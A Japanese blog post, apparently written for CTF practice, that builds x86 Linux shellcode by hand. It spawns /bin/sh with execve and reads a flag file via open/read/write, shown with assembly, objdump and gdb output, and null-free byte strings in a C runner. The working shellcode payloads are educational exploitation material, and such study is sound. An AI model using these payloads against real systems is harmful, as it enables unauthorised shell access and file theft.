shellcodeを書いてみる
ももいろテクノロジーさんの2番煎じみたいな感じになりそうですが…
今まで問題を解く際にshell-stormなどから拾って使っていたし, それはスクリプトキディみたいなので自分で書いてみます.
shellcode書き次第, 適宜追加していきます…
execve(x86)
#include <unistd.h> int main(){ char *argv[] = {"/bin/sh", NULL}; execve(argv[0], argv, NULL); } // gcc -m32 -z execstack execve.c
cでexecve(“/bin/sh”, {“/bin/sh”, 0}, 0);する前のレジスタの値をgdbで調べて
それを参考に アセンブラを書いてみる.
$ objdump -M intel -d a.out | sed -n '/<__execve>:/,/^$/p' 0806c270 <__execve>: 806c270: 53 push ebx 806c271: 8b 54 24 10 mov edx,DWORD PTR [esp+0x10] 806c275: 8b 4c 24 0c mov ecx,DWORD PTR [esp+0xc] 806c279: 8b 5c 24 08 mov ebx,DWORD PTR [esp+0x8] 806c27d: b8 0b 00 00 00 mov eax,0xb 806c282: ff 15 f0 a9 0e 08 call DWORD PTR ds:0x80ea9f0 806c288: 3d 00 f0 ff ff cmp eax,0xfffff000 806c28d: 77 02 ja 806c291 <__execve+0x21> 806c28f: 5b pop ebx 806c290: c3 ret 806c291: c7 c2 e8 ff ff ff mov edx,0xffffffe8 806c297: f7 d8 neg eax 806c299: 65 89 02 mov DWORD PTR gs:[edx],eax 806c29c: 83 c8 ff or eax,0xffffffff 806c29f: 5b pop ebx 806c2a0: c3 ret 806c2a1: 66 90 xchg ax,ax 806c2a3: 66 90 xchg ax,ax 806c2a5: 66 90 xchg ax,ax 806c2a7: 66 90 xchg ax,ax 806c2a9: 66 90 xchg ax,ax 806c2ab: 66 90 xchg ax,ax 806c2ad: 66 90 xchg ax,ax 806c2af: 90 nop $ gdb -q ./a.out Reading symbols from ./a.out...(no debugging symbols found)...done. gdb-peda$ disas *0x80ea9f0 Dump of assembler code for function _dl_sysinfo_int80: 0x0806ed70 <+0>: int 0x80 0x0806ed72 <+2>: ret End of assembler dump.
int 0x80が呼ばれる前のレジスタの値を整理してみると
EAX: 0xb ('\x0b') EBX: 0x80bdf48 ("/bin/sh") ECX: 0xffffd478 --> 0x80bdf48 ("/bin/sh") EDX: 0x0
.intel_syntax noprefix .globl _start _start: push 0x0068732f push 0x6e69622f mov ebx, esp xor edx, edx push edx push ebx mov ecx, esp mov eax, 11 int 0x80
ライブラリなどをリンクしないで実行します.
$ gcc -m32 -nostdlib execve.s $ ./a.out
シェルが立ち上がることが確認出来ました. 機械語の部分だけ抽出して, 明示的にシェルコードを実行してみます.
char sc[] = "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80"; int main() { (*(void (*)())sc)(); } // $ gcc -m32 -z execstack -o sc shellcode.c // $ ./sc
シェルが立ち上がることが確認出来ました. nullバイトが混ざっていて, strcpy(); などの関数をバイパス出来ないので, null-freeなものにしていきます.
.intel_syntax noprefix .globl _start _start: push 0x68732f2f push 0x6e69622f mov ebx, esp xor edx, edx push edx push ebx mov ecx, esp lea eax, [edx+11] int 0x80
/bin/shと/bin//shは同等なので, これでnullバイトが取り除けて,
即値で0xb入れていたところも lea eax, [edx+11]でnullバイトが取り除けました.
最初はコレでいけるだろ〜wとか思ってたけどSEGVで落ちた, ので調べてみました. (と言ってもstraceしただけです)
/bin/sh\372〜みたいなファイルは無いよ〜と怒られています.(それはそう)
最後にnullバイトが必要っぽい.
(文字列的?にnullバイトが必要なだけで, 機械語にnullバイトが混ざってはいけないので以下のように書き直しました)
機械語だけ抽出して実行してみます.
.intel_syntax noprefix .globl _start _start: xor edx, edx push edx push 0x68732f2f push 0x6e69622f mov ebx, esp push edx push ebx mov ecx, esp lea eax, [edx+11] int 0x80
char sc[] = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; int main() { (*(void (*)())sc)(); } // $ gcc -m32 -z execstack -o sc3 shellcode3.c // $ ./sc3 // $
シェルが立ち上がることが確認出来ました.
怒られていません.
open -> read -> write
#include<sys/types.h> #include<sys/stat.h> #include<fcntl.h> #include<unistd.h> int main(){ int fd, len; char buf[100]; fd = open("/home/tsun/flag", O_RDONLY); len = read(fd, buf, 100); write(1, buf, len); return 0; }
c言語の詳しいお作法とか分からないので間違っていたら教えてください. 一応これで出来る.
objdump -M intel -S ./a.out | sed -n '/<main>:/,/^$/p' 08048e24 <main>: 8048e24: 55 push ebp 8048e25: 89 e5 mov ebp,esp 8048e27: 83 e4 f0 and esp,0xfffffff0 8048e2a: 83 c4 80 add esp,0xffffff80 8048e2d: 65 a1 14 00 00 00 mov eax,gs:0x14 8048e33: 89 44 24 7c mov DWORD PTR [esp+0x7c],eax 8048e37: 31 c0 xor eax,eax 8048e39: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0 8048e40: 00 8048e41: c7 04 24 68 df 0b 08 mov DWORD PTR [esp],0x80bdf68 8048e48: e8 23 3d 02 00 call 806cb70 <__libc_open> 8048e4d: 89 44 24 10 mov DWORD PTR [esp+0x10],eax 8048e51: c7 44 24 08 64 00 00 mov DWORD PTR [esp+0x8],0x64 8048e58: 00 8048e59: 8d 44 24 18 lea eax,[esp+0x18] 8048e5d: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 8048e61: 8b 44 24 10 mov eax,DWORD PTR [esp+0x10] 8048e65: 89 04 24 mov DWORD PTR [esp],eax 8048e68: e8 73 3d 02 00 call 806cbe0 <__libc_read> 8048e6d: 89 44 24 14 mov DWORD PTR [esp+0x14],eax 8048e71: 8b 44 24 14 mov eax,DWORD PTR [esp+0x14] 8048e75: 89 44 24 08 mov DWORD PTR [esp+0x8],eax 8048e79: 8d 44 24 18 lea eax,[esp+0x18] 8048e7d: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 8048e81: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1 8048e88: e8 c3 3d 02 00 call 806cc50 <__libc_write> 8048e8d: b8 00 00 00 00 mov eax,0x0 8048e92: 8b 54 24 7c mov edx,DWORD PTR [esp+0x7c] 8048e96: 65 33 15 14 00 00 00 xor edx,DWORD PTR gs:0x14 8048e9d: 74 05 je 8048ea4 <main+0x80> 8048e9f: e8 7c 5a 02 00 call 806e920 <__stack_chk_fail> 8048ea4: c9 leave 8048ea5: c3 ret 8048ea6: 66 90 xchg ax,ax 8048ea8: 66 90 xchg ax,ax 8048eaa: 66 90 xchg ax,ax 8048eac: 66 90 xchg ax,ax 8048eae: 66 90 xchg ax,ax
-static
オプション付きでコンパイルしました.
open(), read(), write()それぞれステップイン実行していって
sysenter
呼び出し時のレジスタの値を調べました.
open(filename, 0); EAX: 0x5 -> open()のシステムコール番号 EBX: 0x80bdf68 ("/home/tsun/flag") -> ファイル名のアドレス ECX: 0x0 raxにfile descripterが返る
read(fd, buf, len); EAX: 0x3 -> read()のシステムコール番号 EBX: 0x3 -> ファイルディスクリプタ ECX: 0xffffd3b8 -> bufferのアドレス EDX: 0x64 -> 読み込む長さ raxに読み込んだサイズが返る
write(1, buf, len); EAX: 0x4 -> write(0のシステムコール番号 EBX: 0x1 -> STDOUT ECX: 0xffffd3b8 -> bufferのアドレス EDX: 0xf -> 書き出す長さ
このような流れでshellcodeを組めば良さそう
.intel_syntax noprefix .globl _start _start: xor ecx, ecx push ecx push 0x67616c66 push 0x2f2f6e75 push 0x73742f65 push 0x6d6f682f mov ebx, esp push ecx push ebx lea eax, [ecx + 5] int 0x80 lea ecx, [ebx + 40] mov ebx, eax xor eax, eax lea edx, [eax + 100] lea eax, [eax + 3] int 0x80 mov edx, eax xor eax, eax lea ebx, [eax + 1] lea eax, [eax + 4] int 0x80
$ echo THIS_IS_A_FLAG > /home/tsun/flag $ gcc -nostdlib -m32 sc.s $ ./a.out THIS_IS_A_FLAG [6] 21817 segmentation fault (core dumped) ./a.out
SEGVするけどまあ読めるので良いでしょう. 59byteでした.
.intel_syntax noprefix .globl _start _start: xor ecx, ecx push ecx push 0x67616c66 push 0x2f2f6e75 push 0x73742f65 push 0x6d6f682f mov ebx, esp lea eax, [ecx + 5] int 0x80 mov ecx, esp mov ebx, eax mov dl, 0x64 mov al, 0x3 int 0x80 mov edx, eax mov bl, 0x1 mov al, 0x4 int 0x80
さっきのはとりあえず脳死でただ書いただけな感じだったし暇だったので48byteまで削った.